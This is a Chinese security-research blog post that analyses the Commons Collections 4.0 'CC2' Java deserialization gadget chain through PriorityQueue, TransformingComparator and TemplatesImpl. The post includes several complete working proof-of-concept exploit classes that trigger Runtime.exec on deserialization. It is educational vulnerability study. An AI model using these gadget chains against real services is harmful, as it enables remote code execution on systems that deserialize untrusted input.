0x00 前言
从CC3开始学习完TemplatesImpl的利用,这次是CommonsCollections2链的分析,本来说要学完TemplatesImpl再来分析CC2,其实CC2不用TemplatesImpl也可以实现,因为CC2主要用到的是PriorityQueue
和TransformingComparator
两个类。只是官方的ysoserial使用到了TemplatesImpl,因此学完TemplatesImpl再来分析CC2会轻松很多。
跟CC1不一样的是,CC2是用来解决的commons-collections-4.0
版本的问题,因为3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口。当然不是说CC1不能再commons-collections-4.0
版本中使用,只是要修改一下LazyMap的decorate方法即可。
环境准备
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
pom文件配置:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
0x01 分析过程
我们先看下这条链的路径:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们先从TransformingComparator
类进行分析,可以看到在compare方法中利用到了我们熟悉的transform方法:
那么我们就要找到一个能传入Comparator的类,那么这条链的PriorityQueue类正好符合,因为PriorityQueue类的构造方法是可以接收Comparator类的:
而且PriorityQueue还会调用到compare方法,我们继续从PriorityQueue类的反序列化方法进行分析,看着也没什么,但是下面会调用到一个heapify方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
heapify方法又调用了siftDown方法,注意下这个size变量,如果小于0的话就不能执行下面的siftDown方法:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
继续看siftDown方法,这里又调用到了两个方法,我们主要看siftDownUsingComparator方法,因为siftDownComparable里面没有调用到我们需要的compare方法:
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
可以看到siftDownUsingComparator方法里面就调用到了我们所需要的compare方法:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里还有个条件就是comparator变量,这个是要等于TransformingComparator对象才能成功调用,那么这个变量在我们PriorityQueue构造方法的时候就已经赋值了:
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
所以我们的写法如下:
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
但是执行反序列化的时候却没能成功,是因为我们上面提到的size变量默认是0的:
private int size = 0;
而且是private属性,我们就需要用到反射进行赋值:
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.setInt(priorityQueue,8);
ok,完整的代码如下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.setInt(priorityQueue,8);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(priorityQueue);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
0x02 使用TemplatesImpl改进
之前学习了CC3,我们可以使用TemplatesImpl进行改写,使用读取字节码的方式进行执行我们的命令。
如果对TemplatesImpl不懂可以去看下之前的文章:Java代码审计-CommonsCollections3链分析
改写完整的代码如下:
- EvilTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTemplatesImpl () throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
- CC2
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
setFieldValue(priorityQueue, "size", 8);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(priorityQueue);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
那么如果在Transformer数组不可用的情况下怎么改进呢?那么这样一来就不能使用ChainedTransformer类了,我们可以看下TransformingComparator的compare的方法,里面有传入的obj变量:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
如果我们是这样写InvokerTransformer呢:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//因为不是反序列化要赋值给_tfactory
new InvokerTransformer("newTransformer", null, null).transform(obj);
所以我们只要把obj传入到上面compare方法的obj1或者obj2即可,我们顺着回去看下siftDownUsingComparator对compare的调用:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
发现c是有下面的代码赋值的:
Object c = queue[child];
那么我们只要找谁赋值给queue的,我们了解到PriorityQueue是进行队列排序的,那么肯定是obj1和obj2是要传入进行对比排序的,所以我们找下里面可以接收值的方法:
我们发现只有offer里面是有queue赋值的,其他都没有,add方法接收值后还是会调用到offer方法,所以直接利用offer即可:
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
ok,我们要知道这个步骤是完成了我们对queue赋值,而不是反序列化,但是我们看到queue是有transient属性的,也就是说该变量不参与序列化,也就是不会被存储到序列化文件当中。
那么这样一来不就自相矛盾吗?那不一定,我们来看下PriorityQueue的writeObject方法,可以看到的是重写后将每个queue进行序列化:
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
再来看下readObject的方法,这里又把对象逐个读取赋值给回queue数组了:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
这样就很好理解了,改进后的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.offer(obj);
setFieldValue(newTransformer, "iMethodName", "newTransformer");
setFieldValue(priorityQueue, "size", 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(priorityQueue);
oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
可能大家还有以下的一些疑问:
- 为什么yso里面用的add方法?
这里上面已经讲过,add跟offer方法是一样的,只是方法名称命名的区别
- 为什么别人的都是add两次或者这样写new PriorityQueue(2,transformingComparator);?
add两次是因为要把size增加为2,这样就可以走到siftDown方法当中,我们直接复制给size是一样的道理。
至于new PriorityQueue(2,transformingComparator);这样写也是一样的,因为在构造方法的时候就是把这2赋值给queue数组,然后queue数组就会便利增加size:
this.queue = new Object[initialCapacity]
除此之外还可以用反射的方式对queue数组进行赋值,就不需要用到add或者offer了:
setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
setFieldValue(priorityQueue, "size", 2);
- 为什么InvokerTransformer方法不直接设置newTransformer方法呢?
因为没有了ConstantTransformer对象,那么就会直接调用到它本身的对象方法,它本身是没有newTransformer方法的,所以直接调用会报错,到后面序列化的时候再把iMethodName赋值就可以了。
0x03 总结
分析cc2的时候看了很多大佬的文章,大多部分只是渐渐的看poc然后去分析,没有真正了解到这是为什么那又是为什么,总是为了完成写文章而写。
独立思考确实很重要, 比如我上面完全就不按官方那样写,照样也可以触发我们的恶意代码。又比如上面的writeObject重写那里,我翻遍了很多文章都没说到queue数组的问题,而且这个也是一个不可序列化的。
在分析TemplatesImpl终于有看到一遍文章写到下面这句是可有可无的:
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
因为在TemplatesImpl进行反序列化的时候会创建TransformerFactoryImpl对象给_tfactory变量,而且在序列化的是没有用到newTransformer方法是不会触发报错的。
0x04 参考
《Java安全漫谈 - 16.commons-collections4与漏洞修复》
https://www.cnblogs.com/nice0e3/p/13860621.html
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/commonscollections2_chain_analysis.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。